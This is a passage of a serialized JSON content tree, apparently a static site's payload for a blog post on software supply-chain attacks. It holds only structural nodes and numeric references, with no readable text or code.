article",{"type":29,"value":3360},{"type":24,"tag":32,"props":58150,"children":58152},{"href":38069,"ariaLabel":26227,"className":58151,"dataFootnoteBackref":7},[26229],[58153],{"type":29,"value":26232},{"type":24,"tag":10562,"props":58155,"children":58156},{},[58157],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":58159},[58160,58164,58170,58176,58177,58178],{"id":26648,"depth":284,"text":26651,"children":58161},[58162,58163],{"id":36692,"depth":294,"text":36695},{"id":54787,"depth":294,"text":54790},{"id":55543,"depth":284,"text":55546,"children":58165},[58166,58167,58168,58169],{"id":55794,"depth":294,"text":55797},{"id":56267,"depth":294,"text":56270},{"id":56922,"depth":294,"text":56925},{"id":57045,"depth":294,"text":57048},{"id":57163,"depth":284,"text":57166,"children":58171},[58172,58173,58174,58175],{"id":57290,"depth":294,"text":57293},{"id":57652,"depth":294,"text":57655},{"id":57812,"depth":294,"text":57815},{"id":58046,"depth":294,"text":58049},{"id":58075,"depth":284,"text":58078},{"id":10547,"depth":284,"text":10550},{"id":23178,"depth":284,"text":26124},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":58183,"date":15,"isFeatured":16,"tags":58184,"onBlogPage":16,"body":58185,"_type":10599,"_id":10600,"_source":10601,"_file":10602,"_stem":10603,"_extension":10604},{"src":12,"height":13,"width":14},[18,19],{"type":21,"children":58186,"toc":67669},[58187,58197,58207,58211,58215,58222,58226,58230,58234,58249,58259,58267,58294,58298,58302,58318,58345,58349,58359,58547,58599,59124,59140,59347,59399,59403,59419,59453,59631,59635,59784,59830,59834,60310,60326,60583,60605,61091,61147,61151,61179,61183,61420,61448,61458,61480,61490,61494,61498,61514,61518,61534,61553,62326,62330,62361,62866,62875,62903,62958,63003,63218,63222,63259,63681,63685,63695,63717,63795,63799,63803,63833,63873,63899,64434,64438,64451,64455,64459,64463,64485,64662,64678,64691,65252,65256,65284,65303,65313,65317,65339,65898,65918,66849,66858,66868,66878,67598,67608,67612,67622,67626,67649,67653,67657,67661,67665],{"type":24,"tag":25,"props":58188,"children":58189},{},[58190,58191,58196],{"type":29,"value":30},{"type":24,"tag":32,"props":58192,"children":58194},{"href":34,"rel":58193},[36],[58195],{"type":29,"value":39},{"type":29,"value":41},{"type":24,"tag":25,"props":58198,"children":58199},{},[58200,58201,58206],{"type":29,"value":46},{"type":24,"tag":32,"props":58202,"children":58204},{"href":49,"rel":58203},[36],[58205],{"type":29,"value":53},{"type":29,"value":55},{"type":24,"tag":25,"props":58208,"children":58209},{},[58210],{"type":29,"value":60},{"type":24,"tag":62,"props":58212,"children":58213},{"id":64},[58214],{"type":29,"value":67},{"type":24,"tag":25,"props":58216,"children":58217},{},[58218,58219],{"type":29,"value":72},{"type":24,"tag":74,"props":58220,"children":58221},{"alt":76,"src":77},[],{"type":24,"tag":25,"props":58223,"children":58224},{},[58225],{"type":29,"value":83},{"type":24,"tag":85,"props":58227,"children":58228},{"id":87},[58229],{"type":29,"value":90},{"type":24,"tag":25,"props":58231,"children":58232},{},[58233],{"type":29,"value":95},{"type":24,"tag":97,"props":58235,"children":58236},{},[58237,58241,58245],{"type":24,"tag":101,"props":58238,"children":58239},{},[58240],{"type":29,"value":105},{"type":24,"tag":101,"props":58242,"children":58243},{},[58244],{"type":29,"value":110},{"type":24,"tag":101,"props":58246,"children":58247},{},[58248],{"type":29,"value":115},{"type":24,"tag":25,"props":58250,"children":58251},{},[58252,58253,58258],{"type":29,"value":120},{"type":24,"tag":32,"props":58254,"children":58256},{"href":123,"rel":58255},[36],[58257],{"type":29,"value":127},{"type":29,"value":129},{"type":24,"tag":62,"props":58260,"children":58261},{"id":132},[58262],{"type":24,"tag":135,"props":58263,"children":58265},{"className":58264},[],[58266],{"type":29,"value":132},{"type":24,"tag":25,"props":58268,"children":58269},{},[58270,58275,58276,58281,58282,58287,58288,58293],{"type":24,"tag":135,"props":58271,"children":58273},{"className":58272},[],[58274],{"type":29,"value":132},{"type":29,"value":149},{"type":24,"tag":32,"props":58277,"children":58279},{"href":152,"rel":58278},[36],[58280],{"type":29,"value":156},{"type":29,"value":158},{"type":24,"tag":32,"props":58283,"children":58285},{"href":161,"rel":58284},[36],[58286],{"type":29,"value":165},{"type":29,"value":167},{"type":24,"tag":135,"props":58289,"children":58291},{"className":58290},[],[58292],{"type":29,"value":173},{"type":29,"value":175},{"type":24,"tag":25,"props":58295,"children":58296},{},[58297],{"type":29,"value":180},{"type":24,"tag":85,"props":58299,"children":58300},{"id":183},[58301],{"type":29,"value":186},{"type":24,"tag":25,"props":58303,"children":58304},{},[58305,58306,58311,58312,58317],{"type":29,"value":191},{"type":24,"tag":135,"props":58307,"children":58309},{"className":58308},[],[58310],{"type":29,"value":132},{"type":29,"value":198},{"type":24,"tag":135,"props":58313,"children":58315},{"className":58314},[],[58316],{"type":29,"value":132},{"type":29,"value":205},{"type":24,"tag":97,"props":58319,"children":58320},{},[58321,58329,58337],{"type":24,"tag":101,"props":58322,"children":58323},{},[58324,58328],{"type":24,"tag":213,"props":58325,"children":58326},{},[58327],{"type":29,"value":217},{"type":29,"value":219},{"type":24,"tag":101,"props":58330,"children":58331},{},[58332,58336],{"type":24,"tag":213,"props":58333,"children":58334},{},[58335],{"type":29,"value":227},{"type":29,"value":229},{"type":24,"tag":101,"props":58338,"children":58339},{},[58340,58344],{"type":24,"tag":213,"props":58341,"children":58342},{},[58343],{"type":29,"value":237},{"type":29,"value":239},{"type":24,"tag":62,"props":58346,"children":58347},{"id":242},[58348],{"type":29,"value":245},{"type":24,"tag":25,"props":58350,"children":58351},{},[58352,58353,58358],{"type":29,"value":250},{"type":24,"tag":32,"props":58354,"children":58356},{"href":253,"rel":58355},[36],[58357],{"type":29,"value":257},{"type":29,"value":259},{"type":24,"tag":261,"props":58360,"children":58361},{"className":263,"code":264,"language":265,"meta":7,"style":7},[58362],{"type":24,"tag":135,"props":58363,"children":58364},{"__ignoreMap":7},[58365,58372,58379,58386,58393,58400,58407,58414,58421,58428,58435,58442,58449,58456,58463,58470,58477,58484,58491,58498,58505,58512,58519,58526,58533,58540],{"type":24,"tag":271,"props":58366,"children":58367},{"class":273,"line":274},[58368],{"type":24,"tag":271,"props":58369,"children":58370},{"style":278},[58371],{"type":29,"value":281},{"type":24,"tag":271,"props":58373,"children":58374},{"class":273,"line":284},[58375],{"type":24,"tag":271,"props":58376,"children":58377},{"style":288},[58378],{"type":29,"value":291},{"type":24,"tag":271,"props":58380,"children":58381},{"class":273,"line":294},[58382],{"type":24,"tag":271,"props":58383,"children":58384},{"style":278},[58385],{"type":29,"value":300},{"type":24,"tag":271,"props":58387,"children":58388},{"class":273,"line":303},[58389],{"type":24,"tag":271,"props":58390,"children":58391},{"style":278},[58392],{"type":29,"value":309},{"type":24,"tag":271,"props":58394,"children":58395},{"class":273,"line":312},[58396],{"type":24,"tag":271,"props":58397,"children":58398},{"style":288},[58399],{"type":29,"value":318},{"type":24,"tag":271,"props":58401,"children":58402},{"class":273,"line":321},[58403],{"type":24,"tag":271,"props":58404,"children":58405},{"emptyLinePlaceholder":16},[58406],{"type":29,"value":327},{"type":24,"tag":271,"props":58408,"children":58409},{"class":273,"line":330},[58410],{"type":24,"tag":271,"props":58411,"children":58412},{"style":288},[58413],{"type":29,"value":336},{"type":24,"tag":271,"props":58415,"children":58416},{"class":273,"line":339},[58417],{"type":24,"tag":271,"props":58418,"children":58419},{"emptyLinePlaceholder":16},[58420],{"type":29,"value":327},{"type":24,"tag":271,"props":58422,"children":58423},{"class":273,"line":347},[58424],{"type":24,"tag":271,"props":58425,"children":58426},{"style":288},[58427],{"type":29,"value":353},{"type":24,"tag":271,"props":58429,"children":58430},{"class":273,"line":356},[58431],{"type":24,"tag":271,"props":58432,"children":58433},{"style":288},[58434],{"type":29,"value":362},{"type":24,"tag":271,"props":58436,"children":58437},{"class":273,"line":365},[58438],{"type":24,"tag":271,"props":58439,"children":58440},{"style":288},[58441],{"type":29,"value":371},{"type":24,"tag":271,"props":58443,"children":58444},{"class":273,"line":374},[58445],{"type":24,"tag":271,"props":58446,"children":58447},{"style":378},[58448],{"type":29,"value":381},{"type":24,"tag":271,"props":58450,"children":58451},{"class":273,"line":384},[58452],{"type":24,"tag":271,"props":58453,"children":58454},{"style":378},[58455],{"type":29,"value":390},{"type":24,"tag":271,"props":58457,"children":58458},{"class":273,"line":393},[58459],{"type":24,"tag":271,"props":58460,"children":58461},{"style":288},[58462],{"type":29,"value":399},{"type":24,"tag":271,"props":58464,"children":58465},{"class":273,"line":402},[58466],{"type":24,"tag":271,"props":58467,"children":58468},{"style":288},[58469],{"type":29,"value":408},{"type":24,"tag":271,"props":58471,"children":58472},{"class":273,"line":411},[58473],{"type":24,"tag":271,"props":58474,"children":58475},{"style":288},[58476],{"type":29,"value":417},{"type":24,"tag":271,"props":58478,"children":58479},{"class":273,"line":420},[58480],{"type":24,"tag":271,"props":58481,"children":58482},{"style":288},[58483],{"type":29,"value":426},{"type":24,"tag":271,"props":58485,"children":58486},{"class":273,"line":429},[58487],{"type":24,"tag":271,"props":58488,"children":58489},{"style":288},[58490],{"type":29,"value":435},{"type":24,"tag":271,"props":58492,"children":58493},{"class":273,"line":438},[58494],{"type":24,"tag":271,"props":58495,"children":58496},{"style":288},[58497],{"type":29,"value":444},{"type":24,"tag":271,"props":58499,"children":58500},{"class":273,"line":447},[58501],{"type":24,"tag":271,"props":58502,"children":58503},{"style":288},[58504],{"type":29,"value":371},{"type":24,"tag":271,"props":58506,"children":58507},{"class":273,"line":455},[58508],{"type":24,"tag":271,"props":58509,"children":58510},{"style":378},[58511],{"type":29,"value":461},{"type":24,"tag":271,"props":58513,"children":58514},{"class":273,"line":464},[58515],{"type":24,"tag":271,"props":58516,"children":58517},{"style":378},[58518],{"type":29,"value":470},{"type":24,"tag":271,"props":58520,"children":58521},{"class":273,"line":473},[58522],{"type":24,"tag":271,"props":58523,"children":58524},{"style":477},[58525],{"type":29,"value":480},{"type":24,"tag":271,"props":58527,"children":58528},{"class":273,"line":483},[58529],{"type":24,"tag":271,"props":58530,"children":58531},{"style":288},[58532],{"type":29,"value":371},{"type":24,"tag":271,"props":58534,"children":58535},{"class":273,"line":491},[58536],{"type":24,"tag":271,"props":58537,"children":58538},{"style":288},[58539],{"type":29,"value":399},{"type":24,"tag":271,"props":58541,"children":58542},{"class":273,"line":499},[58543],{"type":24,"tag":271,"props":58544,"children":58545},{"style":288},[58546],{"type":29,"value":505},{"type":24,"tag":25,"props":58548,"children":58549},{},[58550,58551,58556,58557,58562,58563,58568,58569,58574,58575,58580,58581,58586,58587,58592,58593,58598],{"type":29,"value":510},{"type":24,"tag":135,"props":58552,"children":58554},{"className":58553},[],[58555],{"type":29,"value":516},{"type":29,"value":518},{"type":24,"tag":135,"props":58558,"children":58560},{"className":58559},[],[58561],{"type":29,"value":524},{"type":29,"value":526},{"type":24,"tag":135,"props":58564,"children":58566},{"className":58565},[],[58567],{"type":29,"value":532},{"type":29,"value":534},{"type":24,"tag":135,"props":58570,"children":58572},{"className":58571},[],[58573],{"type":29,"value":540},{"type":29,"value":542},{"type":24,"tag":135,"props":58576,"children":58578},{"className":58577},[],[58579],{"type":29,"value":524},{"type":29,"value":549},{"type":24,"tag":135,"props":58582,"children":58584},{"className":58583},[],[58585],{"type":29,"value":555},{"type":29,"value":557},{"type":24,"tag":135,"props":58588,"children":58590},{"className":58589},[],[58591],{"type":29,"value":563},{"type":29,"value":565},{"type":24,"tag":135,"props":58594,"children":58596},{"className":58595},[],[58597],{"type":29,"value":571},{"type":29,"value":573},{"type":24,"tag":261,"props":58600,"children":58601},{"className":576,"code":577,"language":578,"meta":7,"style":7},[58602],{"type":24,"tag":135,"props":58603,"children":58604},{"__ignoreMap":7},[58605,58648,58675,58698,58705,58724,58735,58742,58829,58836,58843,58894,58913,58920,59019,59030,59037,59072,59079,59110,59117],{"type":24,"tag":271,"props":58606,"children":58607},{"class":273,"line":274},[58608,58612,58616,58620,58624,58628,58632,58636,58640,58644],{"type":24,"tag":271,"props":58609,"children":58610},{"style":278},[58611],{"type":29,"value":590},{"type":24,"tag":271,"props":58613,"children":58614},{"style":278},[58615],{"type":29,"value":595},{"type":24,"tag":271,"props":58617,"children":58618},{"style":598},[58619],{"type":29,"value":601},{"type":24,"tag":271,"props":58621,"children":58622},{"style":288},[58623],{"type":29,"value":606},{"type":24,"tag":271,"props":58625,"children":58626},{"style":278},[58627],{"type":29,"value":611},{"type":24,"tag":271,"props":58629,"children":58630},{"style":278},[58631],{"type":29,"value":616},{"type":24,"tag":271,"props":58633,"children":58634},{"style":288},[58635],{"type":29,"value":621},{"type":24,"tag":271,"props":58637,"children":58638},{"style":624},[58639],{"type":29,"value":627},{"type":24,"tag":271,"props":58641,"children":58642},{"style":630},[58643],{"type":29,"value":633},{"type":24,"tag":271,"props":58645,"children":58646},{"style":288},[58647],{"type":29,"value":638},{"type":24,"tag":271,"props":58649,"children":58650},{"class":273,"line":284},[58651,58655,58659,58663,58667,58671],{"type":24,"tag":271,"props":58652,"children":58653},{"style":278},[58654],{"type":29,"value":646},{"type":24,"tag":271,"props":58656,"children":58657},{"style":278},[58658],{"type":29,"value":616},{"type":24,"tag":271,"props":58660,"children":58661},{"style":288},[58662],{"type":29,"value":655},{"type":24,"tag":271,"props":58664,"children":58665},{"style":624},[58666],{"type":29,"value":627},{"type":24,"tag":271,"props":58668,"children":58669},{"style":630},[58670],{"type":29,"value":563},{"type":24,"tag":271,"props":58672,"children":58673},{"style":288},[58674],{"type":29,"value":638},{"type":24,"tag":271,"props":58676,"children":58677},{"class":273,"line":294},[58678,58682,58686,58690,58694],{"type":24,"tag":271,"props":58679,"children":58680},{"style":278},[58681],{"type":29,"value":675},{"type":24,"tag":271,"props":58683,"children":58684},{"style":288},[58685],{"type":29,"value":680},{"type":24,"tag":271,"props":58687,"children":58688},{"style":624},[58689],{"type":29,"value":627},{"type":24,"tag":271,"props":58691,"children":58692},{"style":630},[58693],{"type":29,"value":689},{"type":24,"tag":271,"props":58695,"children":58696},{"style":288},[58697],{"type":29,"value":694},{"type":24,"tag":271,"props":58699,"children":58700},{"class":273,"line":303},[58701],{"type":24,"tag":271,"props":58702,"children":58703},{"style":288},[58704],{"type":29,"value":702},{"type":24,"tag":271,"props":58706,"children":58707},{"class":273,"line":312},[58708,58712,58716,58720],{"type":24,"tag":271,"props":58709,"children":58710},{"style":278},[58711],{"type":29,"value":616},{"type":24,"tag":271,"props":58713,"children":58714},{"style":288},[58715],{"type":29,"value":714},{"type":24,"tag":271,"props":58717,"children":58718},{"style":624},[58719],{"type":29,"value":627},{"type":24,"tag":271,"props":58721,"children":58722},{"style":288},[58723],{"type":29,"value":723},{"type":24,"tag":271,"props":58725,"children":58726},{"class":273,"line":321},[58727,58731],{"type":24,"tag":271,"props":58728,"children":58729},{"style":278},[58730],{"type":29,"value":731},{"type":24,"tag":271,"props":58732,"children":58733},{"style":288},[58734],{"type":29,"value":736},{"type":24,"tag":271,"props":58736,"children":58737},{"class":273,"line":330},[58738],{"type":24,"tag":271,"props":58739,"children":58740},{"emptyLinePlaceholder":16},[58741],{"type":29,"value":327},{"type":24,"tag":271,"props":58743,"children":58744},{"class":273,"line":339},[58745,58749,58753,58757,58761,58765,58769,58773,58777,58781,58785,58789,58793,58797,58801,58805,58809,58813,58817,58821,58825],{"type":24,"tag":271,"props":58746,"children":58747},{"style":749},[58748],{"type":29,"value":752},{"type":24,"tag":271,"props":58750,"children":58751},{"style":288},[58752],{"type":29,"value":757},{"type":24,"tag":271,"props":58754,"children":58755},{"style":624},[58756],{"type":29,"value":762},{"type":24,"tag":271,"props":58758,"children":58759},{"style":477},[58760],{"type":29,"value":767},{"type":24,"tag":271,"props":58762,"children":58763},{"style":288},[58764],{"type":29,"value":772},{"type":24,"tag":271,"props":58766,"children":58767},{"style":624},[58768],{"type":29,"value":762},{"type":24,"tag":271,"props":58770,"children":58771},{"style":630},[58772],{"type":29,"value":781},{"type":24,"tag":271,"props":58774,"children":58775},{"style":288},[58776],{"type":29,"value":786},{"type":24,"tag":271,"props":58778,"children":58779},{"style":630},[58780],{"type":29,"value":791},{"type":24,"tag":271,"props":58782,"children":58783},{"style":288},[58784],{"type":29,"value":796},{"type":24,"tag":271,"props":58786,"children":58787},{"style":624},[58788],{"type":29,"value":801},{"type":24,"tag":271,"props":58790,"children":58791},{"style":630},[58792],{"type":29,"value":781},{"type":24,"tag":271,"props":58794,"children":58795},{"style":288},[58796],{"type":29,"value":786},{"type":24,"tag":271,"props":58798,"children":58799},{"style":630},[58800],{"type":29,"value":814},{"type":24,"tag":271,"props":58802,"children":58803},{"style":624},[58804],{"type":29,"value":819},{"type":24,"tag":271,"props":58806,"children":58807},{"style":477},[58808],{"type":29,"value":824},{"type":24,"tag":271,"props":58810,"children":58811},{"style":288},[58812],{"type":29,"value":829},{"type":24,"tag":271,"props":58814,"children":58815},{"style":624},[58816],{"type":29,"value":834},{"type":24,"tag":271,"props":58818,"children":58819},{"style":288},[58820],{"type":29,"value":839},{"type":24,"tag":271,"props":58822,"children":58823},{"style":624},[58824],{"type":29,"value":834},{"type":24,"tag":271,"props":58826,"children":58827},{"style":288},[58828],{"type":29,"value":694},{"type":24,"tag":271,"props":58830,"children":58831},{"class":273,"line":347},[58832],{"type":24,"tag":271,"props":58833,"children":58834},{"style":288},[58835],{"type":29,"value":855},{"type":24,"tag":271,"props":58837,"children":58838},{"class":273,"line":356},[58839],{"type":24,"tag":271,"props":58840,"children":58841},{"emptyLinePlaceholder":16},[58842],{"type":29,"value":327},{"type":24,"tag":271,"props":58844,"children":58845},{"class":273,"line":365},[58846,58850,58854,58858,58862,58866,58870,58874,58878,58882,58886,58890],{"type":24,"tag":271,"props":58847,"children":58848},{"style":749},[58849],{"type":29,"value":752},{"type":24,"tag":271,"props":58851,"children":58852},{"style":288},[58853],{"type":29,"value":874},{"type":24,"tag":271,"props":58855,"children":58856},{"style":624},[58857],{"type":29,"value":762},{"type":24,"tag":271,"props":58859,"children":58860},{"style":477},[58861],{"type":29,"value":767},{"type":24,"tag":271,"props":58863,"children":58864},{"style":288},[58865],{"type":29,"value":887},{"type":24,"tag":271,"props":58867,"children":58868},{"style":624},[58869],{"type":29,"value":801},{"type":24,"tag":271,"props":58871,"children":58872},{"style":630},[58873],{"type":29,"value":896},{"type":24,"tag":271,"props":58875,"children":58876},{"style":288},[58877],{"type":29,"value":786},{"type":24,"tag":271,"props":58879,"children":58880},{"style":630},[58881],{"type":29,"value":905},{"type":24,"tag":271,"props":58883,"children":58884},{"style":288},[58885],{"type":29,"value":910},{"type":24,"tag":271,"props":58887,"children":58888},{"style":624},[58889],{"type":29,"value":834},{"type":24,"tag":271,"props":58891,"children":58892},{"style":288},[58893],{"type":29,"value":919},{"type":24,"tag":271,"props":58895,"children":58896},{"class":273,"line":374},[58897,58901,58905,58909],{"type":24,"tag":271,"props":58898,"children":58899},{"style":278},[58900],{"type":29,"value":927},{"type":24,"tag":271,"props":58902,"children":58903},{"style":288},[58904],{"type":29,"value":932},{"type":24,"tag":271,"props":58906,"children":58907},{"style":624},[58908],{"type":29,"value":627},{"type":24,"tag":271,"props":58910,"children":58911},{"style":288},[58912],{"type":29,"value":941},{"type":24,"tag":271,"props":58914,"children":58915},{"class":273,"line":384},[58916],{"type":24,"tag":271,"props":58917,"children":58918},{"emptyLinePlaceholder":16},[58919],{"type":29,"value":327},{"type":24,"tag":271,"props":58921,"children":58922},{"class":273,"line":393},[58923,58927,58931,58935,58939,58943,58947,58951,58955,58959,58963,58967,58971,58975,58979,58983,58987,58991,58995,58999,59003,59007,59011,59015],{"type":24,"tag":271,"props":58924,"children":58925},{"style":749},[58926],{"type":29,"value":956},{"type":24,"tag":271,"props":58928,"children":58929},{"style":288},[58930],{"type":29,"value":874},{"type":24,"tag":271,"props":58932,"children":58933},{"style":624},[58934],{"type":29,"value":801},{"type":24,"tag":271,"props":58936,"children":58937},{"style":630},[58938],{"type":29,"value":896},{"type":24,"tag":271,"props":58940,"children":58941},{"style":288},[58942],{"type":29,"value":786},{"type":24,"tag":271,"props":58944,"children":58945},{"style":630},[58946],{"type":29,"value":905},{"type":24,"tag":271,"props":58948,"children":58949},{"style":624},[58950],{"type":29,"value":819},{"type":24,"tag":271,"props":58952,"children":58953},{"style":477},[58954],{"type":29,"value":824},{"type":24,"tag":271,"props":58956,"children":58957},{"style":624},[58958],{"type":29,"value":989},{"type":24,"tag":271,"props":58960,"children":58961},{"style":630},[58962],{"type":29,"value":896},{"type":24,"tag":271,"props":58964,"children":58965},{"style":288},[58966],{"type":29,"value":786},{"type":24,"tag":271,"props":58968,"children":58969},{"style":630},[58970],{"type":29,"value":1002},{"type":24,"tag":271,"props":58972,"children":58973},{"style":288},[58974],{"type":29,"value":1007},{"type":24,"tag":271,"props":58976,"children":58977},{"style":624},[58978],{"type":29,"value":1012},{"type":24,"tag":271,"props":58980,"children":58981},{"style":477},[58982],{"type":29,"value":824},{"type":24,"tag":271,"props":58984,"children":58985},{"style":288},[58986],{"type":29,"value":1021},{"type":24,"tag":271,"props":58988,"children":58989},{"style":630},[58990],{"type":29,"value":1026},{"type":24,"tag":271,"props":58992,"children":58993},{"style":624},[58994],{"type":29,"value":1031},{"type":24,"tag":271,"props":58996,"children":58997},{"style":630},[58998],{"type":29,"value":896},{"type":24,"tag":271,"props":59000,"children":59001},{"style":288},[59002],{"type":29,"value":786},{"type":24,"tag":271,"props":59004,"children":59005},{"style":630},[59006],{"type":29,"value":1002},{"type":24,"tag":271,"props":59008,"children":59009},{"style":288},[59010],{"type":29,"value":1048},{"type":24,"tag":271,"props":59012,"children":59013},{"style":630},[59014],{"type":29,"value":1026},{"type":24,"tag":271,"props":59016,"children":59017},{"style":288},[59018],{"type":29,"value":694},{"type":24,"tag":271,"props":59020,"children":59021},{"class":273,"line":402},[59022,59026],{"type":24,"tag":271,"props":59023,"children":59024},{"style":749},[59025],{"type":29,"value":1064},{"type":24,"tag":271,"props":59027,"children":59028},{"style":288},[59029],{"type":29,"value":1069},{"type":24,"tag":271,"props":59031,"children":59032},{"class":273,"line":411},[59033],{"type":24,"tag":271,"props":59034,"children":59035},{"emptyLinePlaceholder":16},[59036],{"type":29,"value":327},{"type":24,"tag":271,"props":59038,"children":59039},{"class":273,"line":420},[59040,59044,59048,59052,59056,59060,59064,59068],{"type":24,"tag":271,"props":59041,"children":59042},{"style":288},[59043],{"type":29,"value":1084},{"type":24,"tag":271,"props":59045,"children":59046},{"style":624},[59047],{"type":29,"value":762},{"type":24,"tag":271,"props":59049,"children":59050},{"style":630},[59051],{"type":29,"value":896},{"type":24,"tag":271,"props":59053,"children":59054},{"style":288},[59055],{"type":29,"value":786},{"type":24,"tag":271,"props":59057,"children":59058},{"style":630},[59059],{"type":29,"value":1002},{"type":24,"tag":271,"props":59061,"children":59062},{"style":288},[59063],{"type":29,"value":1048},{"type":24,"tag":271,"props":59065,"children":59066},{"style":630},[59067],{"type":29,"value":1026},{"type":24,"tag":271,"props":59069,"children":59070},{"style":288},[59071],{"type":29,"value":1069},{"type":24,"tag":271,"props":59073,"children":59074},{"class":273,"line":429},[59075],{"type":24,"tag":271,"props":59076,"children":59077},{"emptyLinePlaceholder":16},[59078],{"type":29,"value":327},{"type":24,"tag":271,"props":59080,"children":59081},{"class":273,"line":438},[59082,59086,59090,59094,59098,59102,59106],{"type":24,"tag":271,"props":59083,"children":59084},{"style":598},[59085],{"type":29,"value":1127},{"type":24,"tag":271,"props":59087,"children":59088},{"style":288},[59089],{"type":29,"value":1132},{"type":24,"tag":271,"props":59091,"children":59092},{"style":624},[59093],{"type":29,"value":1137},{"type":24,"tag":271,"props":59095,"children":59096},{"style":630},[59097],{"type":29,"value":1026},{"type":24,"tag":271,"props":59099,"children":59100},{"style":288},[59101],{"type":29,"value":786},{"type":24,"tag":271,"props":59103,"children":59104},{"style":630},[59105],{"type":29,"value":1150},{"type":24,"tag":271,"props":59107,"children":59108},{"style":288},[59109],{"type":29,"value":1155},{"type":24,"tag":271,"props":59111,"children":59112},{"class":273,"line":447},[59113],{"type":24,"tag":271,"props":59114,"children":59115},{"style":288},[59116],{"type":29,"value":1163},{"type":24,"tag":271,"props":59118,"children":59119},{"class":273,"line":455},[59120],{"type":24,"tag":271,"props":59121,"children":59122},{"style":288},[59123],{"type":29,"value":1171},{"type":24,"tag":25,"props":59125,"children":59126},{},[59127,59128,59133,59134,59139],{"type":29,"value":1176},{"type":24,"tag":135,"props":59129,"children":59131},{"className":59130},[],[59132],{"type":29,"value":1182},{"type":29,"value":1184},{"type":24,"tag":135,"props":59135,"children":59137},{"className":59136},[],[59138],{"type":29,"value":555},{"type":29,"value":41},{"type":24,"tag":261,"props":59141,"children":59142},{"className":576,"code":1193,"language":578,"meta":7,"style":7},[59143],{"type":24,"tag":135,"props":59144,"children":59145},{"__ignoreMap":7},[59146,59185,59212,59239,59246,59277,59284,59303,59322,59329,59340],{"type":24,"tag":271,"props":59147,"children":59148},{"class":273,"line":274},[59149,59153,59157,59161,59165,59169,59173,59177,59181],{"type":24,"tag":271,"props":59150,"children":59151},{"style":278},[59152],{"type":29,"value":1205},{"type":24,"tag":271,"props":59154,"children":59155},{"style":598},[59156],{"type":29,"value":1210},{"type":24,"tag":271,"props":59158,"children":59159},{"style":288},[59160],{"type":29,"value":606},{"type":24,"tag":271,"props":59162,"children":59163},{"style":278},[59164],{"type":29,"value":611},{"type":24,"tag":271,"props":59166,"children":59167},{"style":278},[59168],{"type":29,"value":616},{"type":24,"tag":271,"props":59170,"children":59171},{"style":288},[59172],{"type":29,"value":621},{"type":24,"tag":271,"props":59174,"children":59175},{"style":624},[59176],{"type":29,"value":627},{"type":24,"tag":271,"props":59178,"children":59179},{"style":630},[59180],{"type":29,"value":633},{"type":24,"tag":271,"props":59182,"children":59183},{"style":288},[59184],{"type":29,"value":638},{"type":24,"tag":271,"props":59186,"children":59187},{"class":273,"line":284},[59188,59192,59196,59200,59204,59208],{"type":24,"tag":271,"props":59189,"children":59190},{"style":278},[59191],{"type":29,"value":1246},{"type":24,"tag":271,"props":59193,"children":59194},{"style":278},[59195],{"type":29,"value":616},{"type":24,"tag":271,"props":59197,"children":59198},{"style":288},[59199],{"type":29,"value":655},{"type":24,"tag":271,"props":59201,"children":59202},{"style":624},[59203],{"type":29,"value":627},{"type":24,"tag":271,"props":59205,"children":59206},{"style":630},[59207],{"type":29,"value":563},{"type":24,"tag":271,"props":59209,"children":59210},{"style":288},[59211],{"type":29,"value":638},{"type":24,"tag":271,"props":59213,"children":59214},{"class":273,"line":294},[59215,59219,59223,59227,59231,59235],{"type":24,"tag":271,"props":59216,"children":59217},{"style":278},[59218],{"type":29,"value":1246},{"type":24,"tag":271,"props":59220,"children":59221},{"style":278},[59222],{"type":29,"value":616},{"type":24,"tag":271,"props":59224,"children":59225},{"style":288},[59226],{"type":29,"value":1282},{"type":24,"tag":271,"props":59228,"children":59229},{"style":624},[59230],{"type":29,"value":627},{"type":24,"tag":271,"props":59232,"children":59233},{"style":630},[59234],{"type":29,"value":1291},{"type":24,"tag":271,"props":59236,"children":59237},{"style":288},[59238],{"type":29,"value":694},{"type":24,"tag":271,"props":59240,"children":59241},{"class":273,"line":303},[59242],{"type":24,"tag":271,"props":59243,"children":59244},{"style":288},[59245],{"type":29,"value":702},{"type":24,"tag":271,"props":59247,"children":59248},{"class":273,"line":312},[59249,59253,59257,59261,59265,59269,59273],{"type":24,"tag":271,"props":59250,"children":59251},{"style":278},[59252],{"type":29,"value":616},{"type":24,"tag":271,"props":59254,"children":59255},{"style":288},[59256],{"type":29,"value":1314},{"type":24,"tag":271,"props":59258,"children":59259},{"style":624},[59260],{"type":29,"value":627},{"type":24,"tag":271,"props":59262,"children":59263},{"style":288},[59264],{"type":29,"value":1323},{"type":24,"tag":271,"props":59266,"children":59267},{"style":624},[59268],{"type":29,"value":762},{"type":24,"tag":271,"props":59270,"children":59271},{"style":598},[59272],{"type":29,"value":1332},{"type":24,"tag":271,"props":59274,"children":59275},{"style":288},[59276],{"type":29,"value":1337},{"type":24,"tag":271,"props":59278,"children":59279},{"class":273,"line":321},[59280],{"type":24,"tag":271,"props":59281,"children":59282},{"emptyLinePlaceholder":16},[59283],{"type":29,"value":327},{"type":24,"tag":271,"props":59285,"children":59286},{"class":273,"line":330},[59287,59291,59295,59299],{"type":24,"tag":271,"props":59288,"children":59289},{"style":749},[59290],{"type":29,"value":1352},{"type":24,"tag":271,"props":59292,"children":59293},{"style":288},[59294],{"type":29,"value":1357},{"type":24,"tag":271,"props":59296,"children":59297},{"style":598},[59298],{"type":29,"value":1362},{"type":24,"tag":271,"props":59300,"children":59301},{"style":288},[59302],{"type":29,"value":1367},{"type":24,"tag":271,"props":59304,"children":59305},{"class":273,"line":339},[59306,59310,59314,59318],{"type":24,"tag":271,"props":59307,"children":59308},{"style":598},[59309],{"type":29,"value":1375},{"type":24,"tag":271,"props":59311,"children":59312},{"style":288},[59313],{"type":29,"value":1380},{"type":24,"tag":271,"props":59315,"children":59316},{"style":598},[59317],{"type":29,"value":1385},{"type":24,"tag":271,"props":59319,"children":59320},{"style":288},[59321],{"type":29,"value":1390},{"type":24,"tag":271,"props":59323,"children":59324},{"class":273,"line":347},[59325],{"type":24,"tag":271,"props":59326,"children":59327},{"emptyLinePlaceholder":16},[59328],{"type":29,"value":327},{"type":24,"tag":271,"props":59330,"children":59331},{"class":273,"line":356},[59332,59336],{"type":24,"tag":271,"props":59333,"children":59334},{"